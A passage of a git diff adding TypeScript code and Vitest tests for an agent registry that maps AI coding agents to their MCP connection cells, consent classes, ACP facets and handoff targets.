buildConnectionsView({+ agentIds: ['lm-studio'],+ probes: snapshotOf({ [LM_STUDIO_USER_MCP]: 'absent' }),+ detection: { detected: ['lm-studio'], probed: true },+ });+ const cell = cellFor(view, LM_STUDIO_USER_MCP);++ expect(cell.installability).toBe('not-installable');+ expect(cell.enabled).toBe(false);+ expect(cell.disabledReason).toBe('not-installable');+ });+});++describe('one artifact serving several agents', () => {+ it('gives every agent that reads it a cell over the same file', () => {+ const view = buildConnectionsView({+ agentIds: ['claude', 'copilot'],+ probes: snapshotOf({+ [CLAUDE_PROJECT_MCP]: 'satisfied',+ [COPILOT_PROJECT_MCP]: 'satisfied',+ }),+ });++ const claudeCell = cellFor(view, CLAUDE_PROJECT_MCP);+ const copilotCell = cellFor(view, COPILOT_PROJECT_MCP);++ expect(claudeCell.pathId).toBe(copilotCell.pathId);+ expect(claudeCell.sharedWith).toContain('copilot');+ expect(copilotCell.sharedWith).toContain('claude');+ expect(claudeCell.checked).toBe(true);+ expect(copilotCell.checked).toBe(true);+ });+});++describe('how a row and a scope read at a glance', () => {+ const checkedCount = (row: ConnectionRow): number =>+ allCells(row).filter((cell) => cell.checked).length;+ const actionableCount = (row: ConnectionRow): number =>+ allCells(row).filter((cell) => !cell.folded && cell.state !== 'structural-na').length;++ const everySatisfier = (state: SurfaceState): Record<string, SurfaceState> =>+ Object.fromEntries(AGENT_REGISTRY.claude.satisfiers.map((satisfier) => [satisfier.id, state]));++ it('reads as connected when everything actionable is in place', () => {+ const view = buildConnectionsView({+ agentIds: ['claude'],+ probes: snapshotOf(everySatisfier('satisfied')),+ });+ const row = rowFor(view, 'claude');++ expect(actionableCount(row)).toBeGreaterThan(0);+ expect(checkedCount(row)).toBe(actionableCount(row));+ });++ it('reads as not-configured when none of it is', () => {+ const view = buildConnectionsView({+ agentIds: ['claude'],+ probes: snapshotOf(everySatisfier('absent')),+ });+ const row = rowFor(view, 'claude');++ expect(actionableCount(row)).toBeGreaterThan(0);+ expect(checkedCount(row)).toBe(0);+ });++ it('reads as partial when one piece of a scope is missing', () => {+ const view = buildConnectionsView({+ agentIds: ['claude'],+ probes: snapshotOf({+ ...everySatisfier('satisfied'),+ [CLAUDE_USER_SKILL]: 'absent',+ }),+ });+ const row = rowFor(view, 'claude');+ const user = row.scopes.find((scope) => scope.scope === 'user');++ const userCells = user?.cells ?? [];+ expect(userCells.some((cell) => cell.checked)).toBe(true);+ expect(userCells.some((cell) => !cell.checked)).toBe(true);+ });+});++describe('degraded input', () => {+ const garbage: unknown[] = [+ undefined,+ null,+ 42,+ 'a string',+ { env: 'desktop' },+ { env: 'desktop', satisfiers: null },+ { satisfiers: { [CLAUDE_PROJECT_MCP]: 'not an object' } },+ { satisfiers: { [CLAUDE_PROJECT_MCP]: { state: 7 } } },+ ];++ it('never throws, whatever the snapshot turns out to be', () => {+ for (const value of garbage) {+ expect(() =>+ buildConnectionsView({+ probes: value as ProbeSnapshot,+ detection: value as never,+ }),+ ).not.toThrow();+ }+ });++ it('never throws when the caller asks with something that is not a list', () => {+ expect(() => buildConnectionsView({ agentIds: 'claude' as never })).not.toThrow();+ expect(() => buildConnectionsView({ agentIds: [null, 3] as never })).not.toThrow();+ expect(buildConnectionsView({ agentIds: [null, 3] as never }).rows).toEqual([]);+ });++ it('degrades every probeable satisfier to unprobed rather than to absent', () => {+ const view = buildConnectionsView({ agentIds: ['claude'], probes: null });++ for (const cell of allCells(rowFor(view, 'claude'))) {+ expect(cell.state).toBe('unprobed');+ expect(cell.checked).toBe(false);+ }+ });+});diff --git a/packages/core/src/agent-registry/connections.ts b/packages/core/src/agent-registry/connections.tsnew file mode 100644index 000000000..af9fc7b6f--- /dev/null+++ b/packages/core/src/agent-registry/connections.ts@@ -0,0 +1,197 @@+import { AGENT_REGISTRY } from './agents.ts';+import {+ type BlockedReason,+ resolveAgentFold,+ resolveBlockedReason,+ resolveSurfaceState,+ statePolicyFor,+ unmetPrerequisites,+} from './fold.ts';+import {+ type AgentId,+ ALL_AGENT_IDS,+ type IntegrationPiece,+ isAgentId,+ type PathId,+ SATISFIER_SCOPES,+ type SatisfierId,+ type SatisfierScope,+} from './ids.ts';+import type {+ AgentRecord,+ AudienceClass,+ GuidanceRef,+ Installability,+ SatisfierRecord,+} from './schema.ts';+import { type DetectionSnapshot, type ProbeSnapshot, readSatisfierProbe } from './snapshot.ts';+import {+ type ConsentClass,+ DISK_BACKED_SATISFIER_KINDS,+ type ExceptionLevel,+ type SatisfierKind,+ type SurfaceState,+} from './vocabulary.ts';++export interface ConnectionCell {+ readonly satisfierId: SatisfierId;+ readonly agentId: AgentId;+ readonly piece: IntegrationPiece;+ readonly scope: SatisfierScope;+ readonly kind: SatisfierKind;+ readonly pathId?: PathId;+ readonly resolvedPath?: string;+ readonly audience: AudienceClass;+ readonly state: SurfaceState;+ readonly checked: boolean;+ readonly exception: ExceptionLevel | null;+ readonly folded: boolean;+ readonly enabled: boolean;+ readonly disabledReason: BlockedReason | null;+ readonly sharedWith: readonly AgentId[];+ readonly sharedFolderWith: readonly AgentId[];+ readonly prerequisites: readonly SatisfierId[];+ readonly unmetPrerequisites: readonly SatisfierId[];+ readonly consentClass: ConsentClass;+ readonly installability: Installability;+ readonly guidance?: GuidanceRef;+ readonly followup?: GuidanceRef;+ readonly troubleshooting?: GuidanceRef;+}++export interface ConnectionScopeGroup {+ readonly scope: SatisfierScope;+ readonly cells: readonly ConnectionCell[];+}++export interface ConnectionRow {+ readonly agentId: AgentId;+ readonly detected: boolean | null;+ readonly folded: boolean;+ readonly setupDocSlug: string | null;+ readonly scopes: readonly ConnectionScopeGroup[];+}++export interface ConnectionsView {+ readonly rows: readonly ConnectionRow[];+}++export interface BuildConnectionsViewInput {+ readonly agentIds?: readonly string[] | null;+ readonly probes?: ProbeSnapshot | null;+ readonly detection?: DetectionSnapshot | null;+}++function sharedFolderWithFor(+ satisfier: SatisfierRecord,+ probes: ProbeSnapshot | null | undefined,+): readonly AgentId[] {+ const observed = readSatisfierProbe(probes, satisfier.id)?.sharedWith ?? [];+ return observed.filter((agent) => agent !== satisfier.agent);+}++const SETTINGS_SCOPE_ORDER: readonly SatisfierScope[] = SATISFIER_SCOPES.filter(+ (scope) => scope !== 'session',+);++function isSettingsCellKind(kind: SatisfierKind): boolean {+ return DISK_BACKED_SATISFIER_KINDS.includes(kind);+}++function buildCells(+ agent: AgentRecord,+ probes: ProbeSnapshot | null | undefined,+ rowFolded: boolean,+): ConnectionCell[] {+ const cells: ConnectionCell[] = [];++ for (const satisfier of agent.satisfiers) {+ if (!isSettingsCellKind(satisfier.kind)) continue;++ const state = resolveSurfaceState(satisfier, probes);+ const resolvedPath = probes?.satisfiers?.[satisfier.id]?.path;+ const policy = statePolicyFor(state);+ const unmet = unmetPrerequisites(satisfier.prerequisites, probes);+ const reason = resolveBlockedReason({+ state,+ installability: satisfier.installability,+ agentFolded: rowFolded,+ });++ cells.push({+ satisfierId: satisfier.id,+ agentId: agent.id,+ piece: satisfier.piece,+ scope: satisfier.scope,+ kind: satisfier.kind,+ ...(satisfier.pathId === undefined ? {} : { pathId: satisfier.pathId }),+ ...(resolvedPath === undefined ? {} : { resolvedPath }),+ audience: satisfier.audience,+ state,+ checked: policy.counts,+ exception: policy.exception,+ folded: state === 'undetected',+ enabled: reason === null,+ disabledReason: reason,+ sharedWith: satisfier.sharedWith,+ sharedFolderWith: sharedFolderWithFor(satisfier, probes),+ prerequisites: satisfier.prerequisites,+ unmetPrerequisites: unmet,+ consentClass: satisfier.consentClass,+ installability: satisfier.installability,+ ...(satisfier.guidance === undefined ? {} : { guidance: satisfier.guidance }),+ ...(satisfier.followup === undefined ? {} : { followup: satisfier.followup }),+ ...(satisfier.troubleshooting === undefined+ ? {}+ : { troubleshooting: satisfier.troubleshooting }),+ });+ }++ return cells;+}++function groupByScope(cells: readonly ConnectionCell[]): ConnectionScopeGroup[] {+ const groups: ConnectionScopeGroup[] = [];++ for (const scope of SETTINGS_SCOPE_ORDER) {+ const inScope = cells.filter((cell) => cell.scope === scope);+ if (inScope.length === 0) continue;+ groups.push({ scope, cells: inScope });+ }++ return groups;+}++function buildRow(+ agent: AgentRecord,+ probes: ProbeSnapshot | null | undefined,+ detection: DetectionSnapshot | null | undefined,+): ConnectionRow {+ const { detected, folded } = resolveAgentFold(agent, detection);++ const cells = buildCells(agent, probes, folded);++ return {+ agentId: agent.id,+ detected,+ folded,+ setupDocSlug: agent.setupDocSlug,+ scopes: groupByScope(cells),+ };+}++function requestedAgents(agentIds: readonly string[] | null | undefined): readonly AgentId[] {+ if (!Array.isArray(agentIds)) return ALL_AGENT_IDS;+ return agentIds.filter((id): id is AgentId => typeof id === 'string' && isAgentId(id));+}++export function buildConnectionsView(input: BuildConnectionsViewInput = {}): ConnectionsView {+ const { agentIds, probes, detection } = input;++ const rows = requestedAgents(agentIds)+ .map((id) => AGENT_REGISTRY[id])+ .filter((agent): agent is AgentRecord => agent !== undefined)+ .map((agent) => buildRow(agent, probes, detection));++ return { rows };+}diff --git a/packages/core/src/agent-registry/derived-tables.test.ts b/packages/core/src/agent-registry/derived-tables.test.tsnew file mode 100644index 000000000..743b03766--- /dev/null+++ b/packages/core/src/agent-registry/derived-tables.test.ts@@ -0,0 +1,424 @@+import { describe, expect, it } from 'vitest';+import { VERIFIED_AGENT_POSTURES } from '../acp/agent-posture.ts';+import { ALL_EDITOR_IDS } from '../constants/editors.ts';+import { TERMINAL_CLI_IDS } from '../handoff/terminal-launch.ts';+import { AGENT_REGISTRY } from './agents.ts';+import {+ ACP_AGENT_EDITOR_ID_MAP,+ ACP_AGENT_HARNESS_CLI_MAP,+ ACP_FEATURED_AGENT_IDS,+ ACP_VERIFIED_POSTURE_MAP,+ agentIdForAcpAgent,+ agentIdForHandoffTarget,+ agentIdForTerminalCli,+ CONNECTION_ROW_AGENT_IDS,+ getAcpFacet,+ KNOWN_HANDOFF_TARGETS,+ projectMcpConsentClass,+ VISIBLE_HANDOFF_TARGETS,+} from './derived-tables.ts';+import type { AgentRecord } from './schema.ts';++const acpAgents: AgentRecord[] = Object.values(AGENT_REGISTRY).filter(+ (record) => record.acp !== undefined,+);++describe('featured ACP agents', () => {+ it('lists exactly the pre-fold shortlist, in display order', () => {+ expect(ACP_FEATURED_AGENT_IDS).toEqual([+ 'claude-acp',+ 'codex-acp',+ 'gemini',+ 'cursor',+ 'github-copilot-cli',+ 'opencode',+ ]);+ });++ it('leaves pi-acp unfeatured, reproducing the drift rather than fixing it', () => {+ expect(ACP_FEATURED_AGENT_IDS).not.toContain('pi-acp');+ expect(ACP_AGENT_EDITOR_ID_MAP['pi-acp']).toBe('pi');+ });++ it('gives every featured agent a distinct position', () => {+ const orders = acpAgents+ .map((record) => record.acp?.featuredOrder)+ .filter((order): order is number => order !== null && order !== undefined);+ expect(new Set(orders).size).toBe(orders.length);+ });+});++describe('ACP agents whose harness already carries OK', () => {+ it('maps exactly the pre-fold editor ids', () => {+ expect(ACP_AGENT_EDITOR_ID_MAP).toEqual({+ 'claude-acp': 'claude',+ 'codex-acp': 'codex',+ opencode: 'opencode',+ 'pi-acp': 'pi',+ });+ });++ it('keeps cursor out, so a configured-but-unapproved entry never stands injection down', () => {+ expect(ACP_AGENT_EDITOR_ID_MAP.cursor).toBeUndefined();+ expect(getAcpFacet('cursor')?.harnessReadsEditorConfig).toBeNull();+ });++ it('keeps gemini and copilot out, so OK always injects for them', () => {+ expect(ACP_AGENT_EDITOR_ID_MAP.gemini).toBeUndefined();+ expect(ACP_AGENT_EDITOR_ID_MAP['github-copilot-cli']).toBeUndefined();+ });++ it('records why each value was declared, cursor included', () => {+ for (const record of acpAgents) {+ const notes = record.acp?.harnessReadsEditorConfigAttestation.evidence.map(+ (entry) => entry.note ?? '',+ );+ expect(notes?.some((note) => note.length > 0)).toBe(true);+ }+ const cursorNotes = getAcpFacet('cursor')?.harnessReadsEditorConfigAttestation.evidence.map(+ (entry) => entry.note ?? '',+ );+ expect(cursorNotes?.join(' ')).toMatch(/needs approval/);+ });+});++describe('ACP harness CLIs', () => {+ it('maps exactly the pre-fold binaries', () => {+ expect(ACP_AGENT_HARNESS_CLI_MAP).toEqual({+ 'claude-acp': 'claude',+ 'codex-acp': 'codex',+ cursor: 'cursor',+ gemini: 'gemini',+ opencode: 'opencode',+ 'pi-acp': 'pi',+ });+ });++ it('keeps cursor here while the editor map excludes it — two different questions', () => {+ expect(ACP_AGENT_HARNESS_CLI_MAP.cursor).toBe('cursor');+ expect(ACP_AGENT_EDITOR_ID_MAP.cursor).toBeUndefined();+ });+});++describe('ACP facet integrity', () => {+ it('carries a facet for exactly the agents that declare an ACP mode', () => {+ const withFacet = acpAgents.map((record) => record.id).sort();+ const withMode = Object.values(AGENT_REGISTRY)+ .filter((record) => record.modes.acp !== undefined)+ .map((record) => record.id)+ .sort();+ expect(withFacet).toEqual(withMode);+ expect(withFacet).toHaveLength(7);+ });++ it('gives every ACP agent a distinct catalog id', () => {+ const ids = acpAgents.map((record) => record.acp?.acpAgentId);+ expect(new Set(ids).size).toBe(ids.length);+ });++ it('resolves a catalog id back to its facet, and nothing for a stranger', () => {+ expect(getAcpFacet('claude-acp')?.harnessCli).toBe('claude');+ expect(getAcpFacet('some-long-tail-agent')).toBeUndefined();+ });+});++describe('verified ACP permission postures', () => {+ it('maps exactly the pre-fold four', () => {+ expect(ACP_VERIFIED_POSTURE_MAP).toEqual({+ 'claude-acp': 'asks',+ 'codex-acp': 'self-managed',+ cursor: 'self-managed',+ 'pi-acp': 'autonomous',+ });+ });++ it('leaves every unobserved agent absent, so nobody reads as never-asks by default', () => {+ for (const record of acpAgents) {+ const acpAgentId = record.acp?.acpAgentId ?? '';+ if (record.acp?.verifiedPosture !== null) continue;+ expect(ACP_VERIFIED_POSTURE_MAP[acpAgentId]).toBeUndefined();+ }+ expect(ACP_VERIFIED_POSTURE_MAP.gemini).toBeUndefined();+ expect(ACP_VERIFIED_POSTURE_MAP['github-copilot-cli']).toBeUndefined();+ });++ it('is what the posture helper reads, so the two can never disagree', () => {+ expect(VERIFIED_AGENT_POSTURES).toBe(ACP_VERIFIED_POSTURE_MAP);+ });+});++describe('project MCP consent classes', () => {+ const beforeFold: Record<string, string> = {+ claude: 'approve-once',+ cursor: 'enable-manually',+ codex: 'auto-connect',+ };++ it('resolves the same class for every editor the pre-fold table left alone', () => {+ for (const id of ALL_EDITOR_IDS) {+ if (id === 'codex' || id === 'copilot') continue;+ expect(projectMcpConsentClass(id)).toBe(beforeFold[id] ?? 'none');+ }+ });++ it('replaces codex auto-connect with the shared trust gate copilot also carries', () => {+ expect(beforeFold.codex).toBe('auto-connect');+ expect(projectMcpConsentClass('codex')).toBe('trust-gated');+ expect(beforeFold.copilot).toBeUndefined();+ expect(projectMcpConsentClass('copilot')).toBe('trust-gated');+ });++ it('pins the whole per-editor map, so an unannounced flip fails here', () => {+ const map = Object.fromEntries(ALL_EDITOR_IDS.map((id) => [id, projectMcpConsentClass(id)]));+ expect(map).toEqual({+ claude: 'approve-once',+ 'claude-desktop': 'none',+ cursor: 'enable-manually',+ codex: 'trust-gated',+ copilot: 'trust-gated',+ opencode: 'none',+ openclaw: 'none',+ pi: 'none',+ antigravity: 'none',+ 'lm-studio': 'none',+ hermes: 'none',+ });+ });++ it('answers none for an editor the registry says nothing about', () => {+ expect(projectMcpConsentClass('not-an-editor')).toBe('none');+ });++ it('gives every trust-gated project entry a follow-up that names its own agent', () => {+ const trustGated = ALL_EDITOR_IDS.filter((id) => projectMcpConsentClass(id) === 'trust-gated');+ expect(trustGated).toEqual(['codex', 'copilot']);+ for (const id of trustGated) {+ const record = Object.values(AGENT_REGISTRY).find((candidate) => candidate.id === id);+ const projectMcp = record?.satisfiers.find(+ (satisfier) => satisfier.piece === 'mcp' && satisfier.scope === 'project',+ );+ expect(projectMcp?.followup).toEqual({ id: 'followup.trust-gated', params: { agent: id } });+ }+ });++ it('never leaves two project MCP satisfiers disagreeing about the consent step', () => {+ for (const record of Object.values(AGENT_REGISTRY)) {+ const classes = record.satisfiers+ .filter(+ (satisfier) =>+ satisfier.piece === 'mcp' &&+ satisfier.scope === 'project' &&+ satisfier.consentClass !== 'none',+ )+ .map((satisfier) => satisfier.consentClass);+ expect(new Set(classes).size).toBeLessThanOrEqual(1);+ }+ });+});++describe('handoff targets', () => {+ const PRE_FOLD_KNOWN_TARGETS = [+ {+ id: 'claude-cowork',+ displayName: 'Claude Cowork',+ appBrandName: 'Claude Desktop',+ schemes: ['claude:'],+ installUrl: 'https://claude.com/download',+ tagline: "Conversational pairing in Claude Desktop's Cowork tab.",+ },+ {+ id: 'claude-code',+ displayName: 'Claude',+ appBrandName: 'Claude Desktop',+ schemes: ['claude:'],+ installUrl: 'https://claude.com/download',+ tagline: "Agentic coding in Claude Desktop's Code tab.",+ },+ {+ id: 'codex',+ displayName: 'ChatGPT',+ appBrandName: 'ChatGPT Desktop',+ schemes: ['codex:'],+ installUrl: 'https://developers.openai.com/codex/app',+ tagline: "OpenAI's ChatGPT desktop app, home of the Codex agent.",+ },+ {+ id: 'cursor',+ displayName: 'Cursor',+ schemes: ['cursor:'],+ installUrl: 'https://cursor.com/',+ tagline: 'AI-first VS Code fork with multi-file edits.',+ },+ {+ id: 'copilot',+ displayName: 'GitHub Copilot',+ schemes: [],+ installUrl: 'https://docs.github.com/en/copilot/how-tos/copilot-cli/cli-getting-started',+ tagline: "GitHub's terminal-native coding agent.",+ },+ {+ id: 'opencode',+ displayName: 'OpenCode',+ schemes: [],+ installUrl: 'https://opencode.ai',+ tagline: 'Open-source terminal coding agent; bring any local model.',+ },+ {+ id: 'pi',+ displayName: 'Pi',+ schemes: [],+ installUrl: 'https://pi.dev',+ tagline: 'Minimal open-source terminal coding agent, extensible in TypeScript.',+ },+ {+ id: 'antigravity',+ displayName: 'Antigravity',+ schemes: [],+ installUrl: 'https://antigravity.google',+ tagline: "Google's agentic IDE + `agy` terminal agent.",+ },+ {+ id: 'openclaw',+ displayName: 'OpenClaw',+ schemes: [],+ installUrl: 'https://openclaw.ai',+ tagline: 'Open-source agent gateway; runs agents against your MCP servers.',+ },+ {+ id: 'hermes',+ displayName: 'Hermes',+ schemes: [],+ installUrl: 'https://hermes-agent.nousresearch.com',+ tagline: "Nous Research's terminal coding agent.",+ },+ ];++ const externalFacets = Object.values(AGENT_REGISTRY).flatMap((record) =>+ record.external === undefined ? [] : [record.external],+ );++ it('reproduces the pre-fold target list — membership, order and display data', () => {+ expect(KNOWN_HANDOFF_TARGETS).toStrictEqual(PRE_FOLD_KNOWN_TARGETS);+ });++ it('shows exactly the three GUI targets', () => {+ expect(VISIBLE_HANDOFF_TARGETS.map((target) => target.id)).toEqual([+ 'claude-code',+ 'codex',+ 'cursor',+ ]);+ });++ it('keeps claude-cowork dispatchable by id while rendering it nowhere', () => {+ expect(KNOWN_HANDOFF_TARGETS.some((target) => target.id === 'claude-cowork')).toBe(true);+ expect(VISIBLE_HANDOFF_TARGETS.some((target) => target.id === 'claude-cowork')).toBe(false);+ });++ it('holds the visible entries by reference, not by copy', () => {+ for (const target of VISIBLE_HANDOFF_TARGETS) {+ expect(KNOWN_HANDOFF_TARGETS).toContain(target);+ }+ });++ it('never shows a target with no scheme to open', () => {+ for (const facet of externalFacets) {+ if (facet.schemes.length === 0) expect(facet.visible).toBe(false);+ }+ });++ it('gives every target a distinct position', () => {+ const orders = externalFacets.map((facet) => facet.knownOrder);+ expect(new Set(orders).size).toBe(orders.length);+ });++ it('leaves the two agents OK cannot open without a target', () => {+ expect(AGENT_REGISTRY['lm-studio']?.external).toBeUndefined();+ expect(AGENT_REGISTRY.gemini?.external).toBeUndefined();+ });+});++describe('dispatch-id reverse lookup', () => {+ it('maps every ACP catalog id back to the agent that declared it', () => {+ for (const record of acpAgents) {+ const acpAgentId = record.acp?.acpAgentId;+ if (acpAgentId === undefined) continue;+ expect(agentIdForAcpAgent(acpAgentId)).toBe(record.id);+ }+ });++ it('maps every deep-link target back to the agent that declared it', () => {+ for (const target of KNOWN_HANDOFF_TARGETS) {+ expect(agentIdForHandoffTarget(target.id)).toBeDefined();+ }+ expect(agentIdForHandoffTarget('claude-cowork')).toBe('claude-desktop');+ expect(agentIdForHandoffTarget('claude-code')).toBe('claude');+ });++ it('keeps the catalog id space distinct from the registry id space', () => {+ expect(agentIdForAcpAgent('claude-acp')).toBe('claude');+ expect(agentIdForAcpAgent('codex-acp')).toBe('codex');+ expect(agentIdForAcpAgent('github-copilot-cli')).toBe('copilot');+ });++ it('answers undefined for a long-tail agent the registry never saw', () => {+ expect(agentIdForAcpAgent('auggie')).toBeUndefined();+ expect(agentIdForAcpAgent('cline')).toBeUndefined();+ expect(agentIdForAcpAgent('claude')).toBeUndefined();+ });+});++describe('terminal CLI reverse lookup', () => {+ it('maps every docked-terminal CLI to an agent that has the terminal mode', () => {+ for (const cli of TERMINAL_CLI_IDS) {+ const agentId = agentIdForTerminalCli(cli);+ expect(agentId).toBeDefined();+ expect(AGENT_REGISTRY[agentId as keyof typeof AGENT_REGISTRY]?.modes.terminal).toBeDefined();+ }+ });++ it('covers the launch recipes exactly, in both directions', () => {+ const withTerminalMode = Object.values(AGENT_REGISTRY)+ .filter((record) => record.modes.terminal !== undefined)+ .map((record) => record.id)+ .sort();+ expect(withTerminalMode).toEqual([...TERMINAL_CLI_IDS].sort());+ });++ it('declines an agent the dock has no launch recipe for', () => {+ expect(agentIdForTerminalCli('lm-studio')).toBeUndefined();+ expect(agentIdForTerminalCli('claude-desktop')).toBeUndefined();+ expect(agentIdForTerminalCli('gemini')).toBeUndefined();+ });++ it('answers undefined for an id from outside the registry', () => {+ expect(agentIdForTerminalCli('auggie')).toBeUndefined();+ expect(agentIdForTerminalCli('')).toBeUndefined();+ });+});++describe('CONNECTION_ROW_AGENT_IDS', () => {+ it('lists every editor id that earns a row; Claude Desktop earns none', () => {+ expect([...CONNECTION_ROW_AGENT_IDS]).toEqual([+ 'claude',+ 'cursor',+ 'codex',+ 'copilot',+ 'opencode',+ 'openclaw',+ 'pi',+ 'antigravity',+ 'lm-studio',+ 'hermes',+ ]);+ expect(CONNECTION_ROW_AGENT_IDS).not.toContain('claude-desktop');+ });++ it('reads editor order, so a row cannot move by where its record sits', () => {+ const listed = ALL_EDITOR_IDS.filter((id) => CONNECTION_ROW_AGENT_IDS.includes(id));+ expect([...CONNECTION_ROW_AGENT_IDS]).toEqual(listed);+ });++ it('excludes the one agent with no editor id', () => {+ expect((CONNECTION_ROW_AGENT_IDS as readonly string[]).includes('gemini')).toBe(false);+ });+});diff --git a/packages/core/src/agent-registry/derived-tables.ts b/packages/core/src/agent-registry/derived-tables.tsnew file mode 100644index 000000000..17f023abc--- /dev/null+++ b/packages/core/src/agent-registry/derived-tables.ts@@ -0,0 +1,114 @@+import { ALL_EDITOR_IDS, type EditorId } from '../constants/editors.ts';+import type { HandoffTarget, TargetData } from '../handoff/types.ts';+import { AGENT_REGISTRY } from './agents.ts';+import type { AcpHarnessCliId, AgentId } from './ids.ts';+import type { AcpFacet, AgentRecord, ExternalFacet, VerifiedPosture } from './schema.ts';+import type { ConsentClass } from './vocabulary.ts';++type AcpAgent = { record: AgentRecord; acp: AcpFacet };++const ACP_AGENTS: readonly AcpAgent[] = Object.values(AGENT_REGISTRY)+ .flatMap((record) => (record.acp === undefined ? [] : [{ record, acp: record.acp }]))+ .sort((a, b) => a.acp.acpAgentId.localeCompare(b.acp.acpAgentId));++export const ACP_FEATURED_AGENT_IDS: readonly string[] = ACP_AGENTS.filter(+ ({ acp }) => acp.featuredOrder !== null,+)+ .sort((a, b) => (a.acp.featuredOrder ?? 0) - (b.acp.featuredOrder ?? 0))+ .map(({ acp }) => acp.acpAgentId);++export const ACP_AGENT_HARNESS_CLI_MAP: Readonly<Record<string, AcpHarnessCliId | undefined>> =+ Object.fromEntries(+ ACP_AGENTS.flatMap(({ acp }) =>+ acp.harnessCli === null ? [] : [[acp.acpAgentId, acp.harnessCli] as const],+ ),+ );++export const ACP_AGENT_EDITOR_ID_MAP: { readonly [agentId: string]: EditorId | undefined } =+ Object.fromEntries(+ ACP_AGENTS.flatMap(({ acp }) =>+ acp.harnessReadsEditorConfig === null+ ? []+ : [[acp.acpAgentId, acp.harnessReadsEditorConfig] as const],+ ),+ );++export function getAcpFacet(acpAgentId: string): AcpFacet | undefined {+ return ACP_AGENTS.find(({ acp }) => acp.acpAgentId === acpAgentId)?.acp;+}++export function agentIdForAcpAgent(acpAgentId: string): AgentId | undefined {+ return ACP_AGENTS.find(({ acp }) => acp.acpAgentId === acpAgentId)?.record.id;+}++export const ACP_VERIFIED_POSTURE_MAP: {+ readonly [agentId: string]: VerifiedPosture | undefined;+} = Object.fromEntries(+ ACP_AGENTS.flatMap(({ acp }) =>+ acp.verifiedPosture === null ? [] : [[acp.acpAgentId, acp.verifiedPosture] as const],+ ),+);++const EXTERNAL_FACETS: readonly ExternalFacet[] = Object.values(AGENT_REGISTRY)+ .flatMap((record) => (record.external === undefined ? [] : [record.external]))+ .sort((a, b) => a.knownOrder - b.knownOrder);++export const KNOWN_HANDOFF_TARGETS: ReadonlyArray<TargetData> = EXTERNAL_FACETS.map(+ ({ targetId, displayName, appBrandName, schemes, installUrl, tagline }) => ({+ id: targetId,+ displayName,+ ...(appBrandName === undefined ? {} : { appBrandName }),+ schemes,+ installUrl,+ ...(tagline === undefined ? {} : { tagline }),+ }),+);++const VISIBLE_TARGET_IDS = new Set(+ EXTERNAL_FACETS.filter((facet) => facet.visible).map((facet) => facet.targetId),+);++export const VISIBLE_HANDOFF_TARGETS: ReadonlyArray<TargetData> = KNOWN_HANDOFF_TARGETS.filter(+ (target) => VISIBLE_TARGET_IDS.has(target.id),+);++export const CONNECTION_ROW_AGENT_IDS: readonly EditorId[] = ALL_EDITOR_IDS.filter(+ (id) => AGENT_REGISTRY[id].offersConnectionRow,+);++const AGENT_ID_BY_TARGET = new Map<string, AgentId>(+ Object.values(AGENT_REGISTRY).flatMap((record) =>+ record.external === undefined ? [] : [[record.external.targetId, record.id] as const],+ ),+);++export function agentIdForHandoffTarget(targetId: HandoffTarget): AgentId | undefined {+ return AGENT_ID_BY_TARGET.get(targetId);+}++const AGENT_ID_BY_TERMINAL_CLI = new Map<string, AgentId>(+ Object.values(AGENT_REGISTRY).flatMap((record) =>+ record.modes.terminal === undefined ? [] : [[record.id, record.id] as const],+ ),+);++export function agentIdForTerminalCli(cliId: string): AgentId | undefined {+ return AGENT_ID_BY_TERMINAL_CLI.get(cliId);+}++export const PROJECT_MCP_CONSENT_CLASS: { readonly [editorId: string]: ConsentClass | undefined } =+ Object.fromEntries(+ Object.values(AGENT_REGISTRY).flatMap((record) => {+ const consentClass = record.satisfiers.find(+ (satisfier) =>+ satisfier.piece === 'mcp' &&+ satisfier.scope === 'project' &&+ satisfier.consentClass !== 'none',+ )?.consentClass;+ return consentClass === undefined ? [] : [[record.id, consentClass] as const];+ }),+ );++export function projectMcpConsentClass(editorId: string): ConsentClass {+ return PROJECT_MCP_CONSENT_CLASS[editorId] ?? 'none';+}diff --git a/packages/core/src/agent-registry/fold.ts b/packages/core/src/agent-registry/fold.tsnew file mode 100644index 000000000..d52b7ab05--- /dev/null+++ b/packages/core/src/agent-registry/fold.ts@@ -0,0 +1,75 @@+import { getSatisfierRecord } from './agents.ts';+import type { SatisfierId } from './ids.ts';+import { STATE_POLICY, type StatePolicyRow } from './policy.ts';+import type { AgentRecord, Installability, SatisfierRecord } from './schema.ts';+import {+ type DetectionSnapshot,+ isAgentDetected,+ type ProbeSnapshot,+ readSatisfierProbe,+} from './snapshot.ts';+import { isKnownSurfaceState, type SurfaceState } from './vocabulary.ts';++export function resolveSurfaceState(+ record: SatisfierRecord,+ probes: ProbeSnapshot | null | undefined,+): SurfaceState {+ if (record.probe.mode === 'unprobeable') return 'unprobeable';+ return readSatisfierProbe(probes, record.id)?.state ?? 'unprobed';+}++export function statePolicyFor(state: SurfaceState): StatePolicyRow {+ return isKnownSurfaceState(state) ? STATE_POLICY[state] : STATE_POLICY.unprobed;+}++export const BLOCKED_REASONS = [+ 'foreign',+ 'structural-na',+ 'not-installable',+ 'agent-undetected',+] as const;+export type BlockedReason = (typeof BLOCKED_REASONS)[number];++export type PrerequisiteBlocker = BlockedReason | 'foreign-replaceable';++export function unmetPrerequisites(+ ids: readonly SatisfierId[],+ probes: ProbeSnapshot | null | undefined,+): SatisfierId[] {+ const unmet = ids.filter((id) => {+ const record = getSatisfierRecord(id);+ if (record === undefined) return true;+ return !statePolicyFor(resolveSurfaceState(record, probes)).counts;+ });+ return unmet.length === ids.length ? unmet : [];+}++export function requiresExplicitConsent(state: SurfaceState): boolean {+ return statePolicyFor(state).exception === 'warning';+}++export function resolveBlockedReason(input: {+ state: SurfaceState;+ installability: Installability;+ agentFolded: boolean;+}): BlockedReason | null {+ if (input.state === 'foreign') return 'foreign';+ if (input.state === 'structural-na') return 'structural-na';+ if (input.installability === 'not-installable') return 'not-installable';+ if (input.agentFolded) return 'agent-undetected';+ return null;+}++export interface AgentFold {+ readonly detected: boolean | null;+ readonly folded: boolean;+}++export function resolveAgentFold(+ agent: AgentRecord,+ detection: DetectionSnapshot | null | undefined,+): AgentFold {+ const looked = detection?.probed === true;+ const detected = looked ? isAgentDetected(detection, agent.id) : null;+ return { detected, folded: agent.offerOnlyWhenDetected && detected === false };+}diff --git a/packages/core/src/agent-registry/gate-log.test.ts b/packages/core/src/agent-registry/gate-log.test.tsnew file mode 100644index 000000000..9f40f827c--- /dev/null+++ b/packages/core/src/agent-registry/gate-log.test.ts@@ -0,0 +1,77 @@+import { describe, expect, it } from 'vitest';+import {+ 